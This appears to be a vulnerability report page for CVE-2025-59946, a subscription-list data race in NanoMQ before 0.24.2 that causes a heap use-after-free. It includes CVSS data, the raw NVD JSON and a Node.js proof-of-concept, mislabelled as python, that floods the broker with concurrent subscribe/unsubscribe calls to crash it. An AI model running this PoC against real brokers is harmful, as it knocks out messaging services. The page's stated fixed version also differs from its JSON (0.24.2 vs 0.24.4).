Security Vulnerability Report
中文
CVE-2025-59946 CVSS 7.5 HIGH

CVE-2025-59946

Published: 2025-12-27 01:15:42
Last Modified: 2026-01-30 21:14:24

Description

NanoMQ MQTT Broker (NanoMQ) is an Edge Messaging Platform. Prior to version 0.24.2, there is a classical data racing issue about sub info list which could result in heap use after free crash. This issue has been patched in version 0.24.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:emqx:nanomq:*:*:*:*:*:*:*:* - VULNERABLE
NanoMQ MQTT Broker < 0.24.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-59946 PoC: NanoMQ Data Race on Subscription List // This PoC demonstrates triggering the race condition through concurrent MQTT operations const mqtt = require('mqtt'); const NANO_MQ_HOST = process.env.NANO_MQ_HOST || 'localhost'; const NANO_MQ_PORT = process.env.NANO_MQ_PORT || 1883; const NUM_CLIENTS = 50; const ITERATIONS = 100; async function rapidSubscribeUnsubscribe(clientId) { const client = mqtt.connect(`mqtt://${NANO_MQ_HOST}:${NANO_MQ_PORT}`, { clientId: `poc_client_${clientId}`, clean: true }); return new Promise((resolve, reject) => { let count = 0; client.on('connect', () => { // Rapidly subscribe and unsubscribe to trigger race condition const interval = setInterval(() => { if (count >= ITERATIONS) { clearInterval(interval); client.end(); resolve(); return; } // Subscribe to random topics const topic = `test/topic/${Math.floor(Math.random() * 10)}`; client.subscribe(topic, { qos: 0 }, (err) => { if (err) console.error(`[${clientId}] Subscribe error:`, err.message); }); // Immediately unsubscribe setTimeout(() => { client.unsubscribe(topic, (err) => { if (err) console.error(`[${clientId}] Unsubscribe error:`, err.message); }); }, 1); count++; }, 5); // High frequency to increase race condition probability }); client.on('error', (err) => { console.error(`[${clientId}] Client error:`, err.message); resolve(); }); client.on('close', () => { // Connection closed unexpectedly - potential crash indicator console.log(`[${clientId}] Connection closed`); }); }); } async function runPoC() { console.log(`[*] Starting CVE-2025-59946 PoC against ${NANO_MQ_HOST}:${NANO_MQ_PORT}`); console.log(`[*] Launching ${NUM_CLIENTS} concurrent clients with ${ITERATIONS} iterations each`); const promises = []; for (let i = 0; i < NUM_CLIENTS; i++) { promises.push(rapidSubscribeUnsubscribe(i)); // Stagger client connections await new Promise(r => setTimeout(r, 50)); } await Promise.all(promises); console.log('[+] PoC execution completed'); console.log('[*] If NanoMQ crashes or shows heap-use-after-free errors, vulnerability is confirmed'); } runPoC().catch(console.error); // Note: For successful exploitation, target must be running NanoMQ < 0.24.2

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59946", "sourceIdentifier": "[email protected]", "published": "2025-12-27T01:15:41.880", "lastModified": "2026-01-30T21:14:23.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NanoMQ MQTT Broker (NanoMQ) is an Edge Messaging Platform. Prior to version 0.24.2, there is a classical data racing issue about sub info list which could result in heap use after free crash. This issue has been patched in version 0.24.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emqx:nanomq:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.24.4", "matchCriteriaId": "49D249C2-C388-4669-8801-929898E7DEAC"}]}]}], "references": [{"url": "https://github.com/nanomq/nanomq/issues/1863", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/nanomq/nanomq/security/advisories/GHSA-xg37-23w7-72p5", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}